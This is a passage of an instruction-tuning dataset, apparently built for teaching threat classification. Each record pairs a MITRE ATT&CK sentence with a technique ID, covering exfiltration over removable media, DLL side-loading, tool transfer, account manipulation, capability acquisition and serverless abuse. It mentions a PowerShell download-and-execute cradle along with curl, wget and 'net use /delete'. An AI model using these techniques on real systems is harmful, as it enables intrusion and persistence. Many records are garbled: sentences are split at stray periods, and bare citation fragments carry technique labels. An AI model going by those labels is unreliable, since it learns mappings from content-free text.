Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. ### Response: T1052."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user.", "output": "T1052", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. ### Response: T1052."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device.", "output": "T1052", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. ### Response: T1052."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", "output": "T1052", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems. ### Response: T1052."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "How the operating system locates libraries to be used by a program can also be intercepted.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: How the operating system locates libraries to be used by a program can also be intercepted. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by side-loading DLLs.", "output": "T1574.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by side-loading DLLs. ### Response: T1574.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads.", "output": "T1574.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. ### Response: T1574.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).", "output": "T1574.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s). ### Response: T1574.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.", "output": "T1574.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. ### Response: T1574.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process.", "output": "T1574.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. ### Response: T1574.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Benign executables used to side-load payloads may not be flagged during delivery and/or execution.", "output": "T1574.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Benign executables used to side-load payloads may not be flagged during delivery and/or execution. ### Response: T1574.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)", "output": "T1574.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading) ### Response: T1574.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may transfer tools or other files from an external system into a compromised environment.", "output": "T1105", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may transfer tools or other files from an external system into a compromised environment. ### Response: T1105."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095).", "output": "T1105", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). ### Response: T1105."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)).", "output": "T1105", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). ### Response: T1105."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160), and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as <code>IEX(New-Object Net.", "output": "T1105", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160), and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as <code>IEX(New-Object Net. ### Response: T1105."}{"instruction": "List the MITRE techniques contained in the text.", "input": "WebClient).downloadString()</code> and <code>Invoke-WebRequest</code>.", "output": "T1105", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: WebClient).downloadString()</code> and <code>Invoke-WebRequest</code>. ### Response: T1105."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)", "output": "T1105", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas) ### Response: T1105."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts.", "output": "T1105", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. ### Response: T1105."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Files can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016)", "output": "T1105", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Files can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) ### Response: T1105."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems.", "output": "T1105", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. ### Response: T1105."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.(Citation: Dropbox Malware Sync)", "output": "T1105", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.(Citation: Dropbox Malware Sync) ### Response: T1105."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the <code>Add-MailboxPermission</code>", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the <code>Add-MailboxPermission</code> ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation:", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye APT35 2018)(Citation:", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye APT35 2018)(Citation: ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Crowdstrike Hiding in Plain Sight 2018)", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Crowdstrike Hiding in Plain Sight 2018) ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation:", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Google Ensuring Your Information is Safe)", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Google Ensuring Your Information is Safe) ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also assign mailbox folder permissions through individual folder permissions or roles.", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders.", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation:", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452) ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise.", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may further enable use of additional techniques for gaining access to systems.", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may further enable use of additional techniques for gaining access to systems. ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation:", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Bienstock, D. - Defending O365 - 2019)", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Bienstock, D. - Defending O365 - 2019) ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy and/or steal capabilities that can be used during targeting.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy and/or steal capabilities that can be used during targeting. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries).", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy and/or steal code signing certificates that can be used during targeting.", "output": "T1588.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy and/or steal code signing certificates that can be used during targeting. ### Response: T1588.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted.", "output": "T1588.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. ### Response: T1588.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.", "output": "T1588.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. ### Response: T1588.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations.", "output": "T1588.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. ### Response: T1588.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity.", "output": "T1588.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. ### Response: T1588.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also steal code signing materials directly from a compromised third-party.", "output": "T1588.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also steal code signing materials directly from a compromised third-party. ### Response: T1588.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.", "output": "T1126", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. ### Response: T1126."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed.", "output": "T1126", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. ### Response: T1126."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command.", "output": "T1126", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. ### Response: T1126."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Technet Net Use)", "output": "T1126", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Technet Net Use) ### Response: T1126."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments.", "output": "T1648", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. ### Response: T1648."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers.", "output": "T1648", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers. ### Response: T1648."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these resources in various ways as a means of executing arbitrary commands.", "output": "T1648", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these resources in various ways as a means of executing arbitrary commands. ### Response: T1648."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia)", "output": "T1648", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) ### Response: T1648."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also create functions that enable further compromise of the cloud environment.", "output": "T1648", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also create functions that enable further compromise of the cloud environment. ### Response: T1648."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)\n\nServerless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time.", "output": "T1648", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user 